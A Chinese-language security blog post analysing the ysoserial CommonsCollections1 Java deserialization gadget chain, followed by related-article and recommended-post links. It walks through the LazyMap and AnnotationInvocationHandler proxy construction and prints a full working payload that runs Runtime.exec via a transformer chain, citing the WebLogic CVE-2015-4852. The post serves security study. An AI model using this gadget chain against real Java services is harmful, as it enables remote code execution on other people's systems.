JAVA安全审计 ysoserial CommonsColletions1分析

前言:

在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链,而是用了LazyMap的get方法

CommonsCollections1

调用链:

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec() Requires:
commons-collections
*/

调用链入口

这条链的入口还是AnnotationInvocationHandler的readObject。

LazyMap

我们需要寻找在LazyMap中能执行ChainedTransformer#transform方法。

LazyMap执行transform方法的地方在其get方法中。

当执行get()方法时,如果键值不存在,将使用工厂factory.transform创建一个值

这里factory变量是从decorate方法中传入

所以构造payload

//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain);

此时我们要找的就是哪里能调用到LazyMap#get方法了

在AnnotationInvocationHandler的invoke方法中,this.memberValues.get调用到了get

this.memberValues是通过AnnotationInvocationHandler构造方法传入

所以通过AnnotationInvocationHandler的invoke方法可以调用到LazyMap#get方法,可是想想怎么调用到invoke呢。

我们来仔细看看AnnotationInvocationHandler类

这个类其实就是一个InvocationHandler,想想JDK动态代理

Person proxyStudent = (Person) Proxy.newProxyInstance(Student.class.getClassLoader(), Student.class.getInterfaces(), proxyHandler);

第一个参数是:被代理对象的ClassLoader。第二个是被代理对象的接口。第三个是创建的InvocationHandler对象

LazyMap传入AnnotationInvocationHandler,再生成AnnotationInvocationHandler的proxy对象。此时proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法。

上面几句话可能有点绕,可以先复习下之前所说过的动态代理的知识再回来看:https://www.cnblogs.com/yyhuni/p/14934747.html

根据上面构造payload:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//向上转型成InvocationHandler才可以在下一步传入Proxy.newProxyInstance
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);

两个注意点:

1.AnnotationInvocationHandler构造方法是包权限,不能直接new,要用反射来创建

2.创建的AnnotationInvocationHandler对象要向上转型成InvocationHandler,才可以在下一步传入Proxy.newProxyInstance

3.生成的proxy对象要转型成Map

关于第三点,其实是为了在下一步构造的时候进行参数传递的匹配,往下看就知道原因了

有了proxy对象了,最后一步就是怎么调用到proxy对象的方法。

在调用链的入口处AnnotationInvocationHandler#readObject

这里调用了this.memberValues的方法,而this.memberValues是通过构造函数传入进来的,所以我们可以把proxy传入AnnotationInvocationHandler,这时候触发了readObject就会触发到proxy的方法了。很巧妙的构造

Object Annotation =  constructor.newInstance(Override.class, proxyAnno);

最终payload:

		//构造反射链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//构造InvocationHandler传入lazymap
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
//创建AnnotationInvocationHandler对象,传入proxyAnno
Object Annotation = constructor.newInstance(Override.class, proxyAnno); // 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(Annotation);
oos.flush();
oos.close(); // 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();

简单画了下利用链的流程图

相关漏洞:

WebLogic反序列化漏洞:CVE-2015-4852

欢迎关注我的公众号,同步更新喔

ysoserial CommonsColletions1分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  4. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  5. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  6. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. 做了两年多的安卓,突然想转Java后端,感觉Android职业前景不太好,转还是不转?

    近几年相信很多Android开发者都有过这种想法,最终还是有些Android 开发选择了转行,但是还有些开发者选择了坚持. 因为现在Android开发确实竞争很大,很多公司抛出几个岗位,每天能收到成百 ...

  2. 学习vue过程中遇到的问题

    1.vue-quill-editor动态禁用 项目中把vue-quill-editor单独封装成了一个组件,通过props传递readOnly参数来设置是否禁用editor.开发中发现可以实现禁用效果 ...

  3. 新手安装eclipse或idea后进行配置、快捷键、插件总结

    .personSunflowerP { background: rgba(51, 153, 0, 0.66); border-bottom: 1px solid rgba(0, 102, 0, 1); ...

  4. Linux命令(四)之常用文件拷贝/移动,文件解压缩,文件查找等相关的操作

    .personSunflowerP { background: rgba(51, 153, 0, 0.66); border-bottom: 1px solid rgba(0, 102, 0, 1); ...

  5. GithubSearch

    https://docs.github.com/cn/github/searching-for-information-on-github/searching-on-github/searching- ...

  6. C# 调用C++结构体

    参考网址:C#调用C/C++动态库,封装各种复杂结构体._liguo9860的专栏-CSDN博客 现在公司要做一个使用C#程序调用C++的一个DLL库,解析文件的功能.所以在网上找了一些资料.     ...

  7. springboot如何使用事物注解方式

    1.在启动类Application中添加注解@EnableTransactionManagement import tk.mybatis.spring.annotation.MapperScan; i ...

  8. 什么是挂载,Linux挂载详解

    前面讲过,Linux 系统中"一切皆文件",所有文件都放置在以根目录为树根的树形目录结构中.在 Linux 看来,任何硬件设备也都是文件,它们各有自己的一套文件系统(文件目录结构) ...

  9. SpringBoot五步配置Mybatis

    第一步:Maven里面添加mybatis的引用jar包: <!--mybatis--> <dependency> <groupId>org.mybatis.spri ...

  10. 进程上下文&中断上下文

    文章出自http://hi.baidu.com/bkhcvzdvmjfkpyr/item/5444001fa68d065bf1090ea6 处理器总处于以下状态中的一种: 1.内核态,运行于进程上下文 ...